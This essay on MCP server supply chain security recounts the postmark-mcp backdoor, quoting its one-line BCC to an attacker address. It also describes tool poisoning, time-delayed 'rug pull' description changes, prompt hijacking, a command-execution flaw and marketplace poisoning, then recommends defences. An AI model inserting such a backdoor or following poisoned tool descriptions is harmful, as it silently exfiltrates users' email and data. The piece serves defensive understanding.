On September 17, 2025, version 1.0.16 of an npm package called postmark-mcp shipped with a single new line of code on line 231. The package was an open source MCP (Model Context Protocol) server that let AI assistants send transactional email through Postmark, the well known email delivery platform. For the previous fifteen versions, the package worked exactly as advertised. Developers integrated it into their AI workflows. It earned roughly 1,500 weekly downloads and got recommended on team Slack channels. Then version 1.0.16 quietly added one line:

Bcc: ‘phan@giftshop.club’

Every email sent through that MCP server, password resets, invoices, internal memos, customer correspondence, was now being silently copied to an attacker-controlled address. The package had been impersonating an unofficial Postmark integration on npm for months. Postmark, the actual company, had no involvement and disavowed it publicly once the discovery surfaced. By the time Koi Security flagged the change at the end of September 2025 (Koi has since been acquired by Palo Alto Networks), the malicious version had been live for over a week and was already integrated into the AI workflows of an estimated three hundred to five hundred organizations. The conservative estimate of damage was three thousand to fifteen thousand emails per organization per day, all silently exfiltrated.

This was, as the security community has now broadly accepted, the first confirmed malicious MCP server in the wild. It will not be the last.

Why I am writing about this

I have spent the last decade building enterprise data security products. Cloud DLP, CASB, SSPM, ISPM all of the categories that exist to keep sensitive enterprise data from ending up where it does not belong. The Postmark MCP attack is the most direct illustration I have seen of a problem that the data security community has not yet absorbed: MCP servers are a new supply chain category, and the security infrastructure to govern them does not yet exist at most enterprises. The category is moving faster than the defenses for it.

I want to make the case in this article that MCP servers deserve to be treated as a top-tier supply chain risk in the 2026 enterprise security program, on roughly equal footing with npm packages, container images, and SaaS integrations. I will lay out the scale of the ecosystem, the four distinct attack patterns we have already observed in the wild, and what data security teams can practically do about it before this becomes the next breach pattern in industry reports.

The ecosystem grew from nothing to enterprise infrastructure in eighteen months

MCP was introduced by Anthropic in November 2024 as an open standard for connecting AI assistants and agents to external tools and data. The protocol itself is intentionally small. A server advertises a list of tools, a client picks one, and they exchange structured JSON-RPC messages. The simplicity of the spec is exactly why it spread so quickly.

In December 2025, Anthropic donated MCP to the Linux Foundation’s newly formed Agentic AI Foundation, with OpenAI and Block joining as co-founders and AWS, Google, Microsoft, Cloudflare, and Bloomberg as supporting members. By that point the ecosystem had already passed inflection. Multiple analyses across late 2025 and early 2026 documented 97 million monthly SDK downloads for the official Python and TypeScript packages, and multiple independent registries (Smithery, Glama, PulseMCP, SkillsIndex) collectively index well over 10,000 public servers. Astrix Security’s State of MCP Server Security 2025 research, published in October 2025, estimated approximately 20,000 MCP server implementations across GitHub based on a sample of more than 5,200 analyzed repositories.

Three statistics from the Astrix research are worth pausing on, because they describe the security posture of the population at scale rather than any single incident:

•      88 percent of MCP servers in the analyzed sample handle credentials of some form, meaning the vast majority of these servers are reaching protected APIs, databases, or services on behalf of an AI agent.

•      Public-internet scans cited by WorkOS in November 2025 identified between 1,862 and 2,000 internet-reachable MCP servers exposed with no authentication. Many of these will list their tool inventory and accept tool calls from anyone who asks.

•      Within the population of MCP servers that handle credentials, Astrix found that 53 percent rely on long-lived static API keys or Personal Access Tokens, only 8.5 percent use OAuth, and 79 percent of API keys are passed through plain environment variables at startup. The dominant credential pattern across the ecosystem is therefore long-lived, hard-coded, and unrotated.

Translating that into the language of enterprise data security: MCP servers are non-human identities with broad credential scope, frequently exposed to the public internet, and almost never inventoried by the security team. They run with what one Koi researcher accurately called god mode permissions, and they appear in no asset inventory, skip every vendor risk assessment, and bypass every existing data loss prevention control because none of those controls were ever designed to inspect a JSON-RPC tool call from an AI agent to a local subprocess.

By the time someone realizes their AI assistant has been quietly Bcc-ing emails to an external server for months, the damage is already catastrophic.

That sentence, from the Koi Security disclosure, is the single best summary of the problem I have read.

Four attack patterns we have already observed

It would be tempting to treat the Postmark incident as a single bad-developer story. The pattern of disclosures across 2025 and early 2026 makes that framing untenable. Four structurally distinct attack categories have produced real CVEs and real incidents, each requiring different defenses.

Pattern 1: Supply chain impersonation

This is the Postmark category. An attacker creates a package that mirrors a legitimate-looking project, builds genuine functionality across multiple versions to earn trust, then introduces a backdoor in a later release. The npm ecosystem has dealt with this for years. What is new with MCP is the blast radius. A compromised npm library may run inside an application; a compromised MCP server runs as a trusted tool that an AI agent will use repeatedly, on behalf of the user, with the user’s full data scope, often without the user reviewing each invocation.

The Postmark BCC line on line 231 of version 1.0.16 is the textbook example. It bypassed every traditional control. Email gateways did not flag the BCC because it appeared as part of legitimate Postmark API traffic. DLP did not inspect the prompt or the API call body. Static scanning did not flag the one-line change because the diff looked benign and the package had a clean version history. The package was eventually pulled from npm, but only after damage had been done.

Pattern 2: Protocol design vulnerabilities

In April 2026, OX Security published research that I would consider the most important MCP security disclosure to date. They identified a systemic flaw in the STDIO transport interface used by Anthropic’s official MCP SDKs across Python, TypeScript, Java, and Rust. The flaw allows direct configuration-to-command execution, meaning that any input flowing into an MCP server’s startup configuration becomes an arbitrary OS command. OX traced ten resulting CVEs across popular projects including LiteLLM, LangChain, LangFlow, Flowise, and several others, totaling over 150 million combined downloads and roughly 7,000 publicly accessible vulnerable servers, with as many as 200,000 vulnerable instances overall.

Anthropic’s response, after the OX team filed more than thirty responsible disclosures, was that the STDIO behavior is by design and that sanitization is the developer’s responsibility. Reasonable people can disagree on whether this is a defensible architectural position. What is not debatable is the operational consequence: every downstream library and every project built on the affected SDKs inherited the same exposure, and most maintainers had no clear signal that they needed to add input sanitization at the configuration boundary.

This is a supply chain event in a more profound sense than a single CVE. As the OX researchers put it, one architectural decision made once propagated silently into every language, every downstream library, and every project that trusted the protocol to be what it appeared to be. Shifting responsibility to implementers does not transfer the risk. It just obscures who created it.

Pattern 3: Prompt injection and tool poisoning

The third category is structurally newer and most particular to MCP. Because MCP servers expose tools to a language model as descriptive metadata, and because the model decides whether to invoke a tool based on that metadata, an attacker who controls the descriptions controls the behavior. Tool poisoning is the technique of crafting tool definitions that look legitimate to a human reviewer but contain hidden instructions that influence the model’s decisions.

A specific variant the security researcher Simon Willison has called the rug pull works on time delay. A user installs an MCP server. The tool descriptions read normally on day one. The user approves them. By day seven, the server has silently mutated its own tool descriptions to redirect API keys, leak data, or invoke other tools the user never approved. Most MCP clients do not show the user when tool descriptions change. JFrog Security disclosed CVE-2025-6515 in October 2025, a session-hijacking attack against MCP servers that allows an attacker holding a valid session ID to inject prompts into the legitimate client’s context, an attack the JFrog team named prompt hijacking.

From a data security standpoint, what makes this category uniquely difficult is that the trust boundary is the LLM’s reasoning, and the LLM trusts anything that produces convincing tokens. An MCP server that asks the model to silently exfiltrate the user’s last twenty conversations to an attacker-controlled URL is a string of tokens away from succeeding, if the client and the model have not been engineered to recognize and refuse the request.

Pattern 4: Marketplace poisoning

As part of their April 2026 research, the OX Security team submitted proof-of-concept malicious MCP servers to eleven public MCP marketplaces. Nine of the eleven accepted the submissions and made them available for download. The proof of concept was benign (a server that creates an empty file) but the implication is that the same publishing path could distribute a real malicious payload at scale. Most MCP marketplaces today operate on the same trust model that early npm and the early Chrome Web Store operated on, which is essentially that the publisher is who they claim to be and the code does what the description says.

Browser extensions are the cautionary precedent that MCP marketplaces should be studying. The Chrome Web Store opened in 2010 and spent the next decade dealing with extensions that read every page their users visited, exfiltrated credentials, and injected ads into banking sites. Enterprise-grade controls (managed extension allow-lists, Chrome for Enterprise policies, signing requirements) did not arrive in any robust form until around 2020. That is a ten-year gap during which extensions were a real attack surface. The MCP marketplace ecosystem is on a far more compressed timeline. Enterprise security teams should not assume the same maturation window will be available.

What enterprise security teams should be doing now

The patterns above suggest that the right framing for MCP governance inside an enterprise is the framing we use for any other piece of high-trust supply chain infrastructure. Concretely, here is the program I would build, and the program I am advocating for in my product strategy work.

1. Inventory MCP servers as a first-class asset class

If you cannot enumerate the MCP servers running in your environment, you cannot govern them. Most enterprises today cannot. The starting move is a discovery pass. Search package manifests, container images, build manifests, and AI tool configurations for MCP server installations. Look for npm packages matching common MCP naming patterns, Python packages installed alongside MCP client SDKs, and configuration files in IDEs like Cursor, Windsurf, Claude Desktop, and VS Code. Capture name, version, owner, data scope, and approval status. A spreadsheet is acceptable as a starting artifact. The goal is to convert MCP from an unknown population into an enumerable one.

2. Establish a verified registry, not a permissive marketplace

The publishing model of public MCP marketplaces is not appropriate for enterprise consumption. Enterprises should maintain an internal registry of approved MCP servers, with each entry tied to a verified source repository, a pinned version, a documented data scope, and a named owner. Treat any MCP server with shell access, credential access, or write access to production data as Tier-0 supply chain. New additions to the registry should require security review at the same level as a SaaS vendor onboarding.

3. Run MCP servers in sandboxes, not on developer laptops

The default deployment pattern for MCP servers (running as a local subprocess on a developer’s machine with the developer’s full credentials and filesystem access) is the worst-case configuration from a data exposure standpoint. Container isolation, scoped service accounts, and restricted network egress are all readily available remediations. Docker’s MCP Toolkit and gateway products from vendors including Pomerium, MCPTotal, and SGNL provide enterprise-grade sandboxing with signature verification, blocked network access by default, and call-level audit logging. Running MCP servers without isolation in 2026 is equivalent to running unrated code from random GitHub forks with elevated privileges. We collectively agreed that was unacceptable a long time ago for every other supply chain category.

4. Inspect prompt and tool-call traffic with the same DLP rigor as email

From a product strategy perspective, this is the gap I see most clearly in the data security stack. Every mature enterprise has DLP coverage for email, endpoints, and major SaaS. Almost no enterprise has equivalent coverage for the JSON-RPC traffic between an AI client and an MCP server. The traffic content is typically sensitive (prompts contain context the user gathered from internal systems), the traffic destination is typically a credential-holding service, and the volume is typically high enough that exfiltration would not stand out. The DLP product category needs to extend to this layer, and enterprises need to demand it from their vendors. Until that arrives, the practical interim control is logging at the MCP gateway and behavioral baselining of tool-call patterns.

5. Treat tool description changes as a security event

Given the rug-pull pattern, MCP clients should alert users (or block tool invocation) when a server’s tool descriptions change between sessions. Enterprise wrappers around MCP clients should enforce this. From a procurement standpoint, this is one of the questions I would now require an answer to before approving any MCP-using AI tool: how does the client surface or prevent silent redefinition of tool descriptions by a connected server?

6. Update vendor risk assessments to include MCP usage

Most TPRM questionnaires today have no field for MCP. They should. Add questions covering: which MCP servers does this vendor consume, are those servers internally maintained or sourced from public registries, what scopes do those servers run with, how does the vendor pin and verify versions, and what is the response process if a CVE drops against an MCP component. These questions are the 2026 equivalent of the questions the industry started asking about open source dependencies after the SolarWinds and Log4Shell incidents. Get them into the questionnaire now, before the regulatory environment forces them in next year.

The bigger picture

It took the open source software community roughly twenty years, from the early CPAN days through the modern npm ecosystem, to develop the supply chain hygiene patterns we now consider standard practice. Provenance signing, dependency firewalls, SBOMs, blocking-mode package validation, build attestation, all of these emerged in response to specific incidents and slow accretion of best practice. The MCP ecosystem does not have twenty years. The protocol crossed from hobbyist experiment to enterprise infrastructure in eighteen months, and the public attack surface is already expanding faster than the governance tooling around it.

The good news, if there is any, is that the security and data protection industry has done this before. We know what mature supply chain governance looks like. The patterns transfer. What does not transfer automatically is the urgency of getting them in place before, rather than after, the next breach pattern is named for the platform it ran on.

Postmark MCP was the first confirmed malicious MCP server. CVE-2025-6514 was the first MCP component to enable widespread RCE. The OX Security disclosure was the first identification of a systemic protocol-level supply chain flaw. The research team at Vulnerable MCP Project has now catalogued more than fifty distinct vulnerabilities across the ecosystem. None of these were the catastrophic incident. The catastrophic incident, if it comes, will be the one that ends with a Wall Street Journal headline about an enterprise that exfiltrated customer data through an unmonitored MCP server its security team never knew was running.

Enterprises that build their MCP governance program in 2026 will spend the year shaping the policies, the tooling, and the contractual language that shape this category for the next decade. Enterprises that wait will spend the same year writing the postmortems.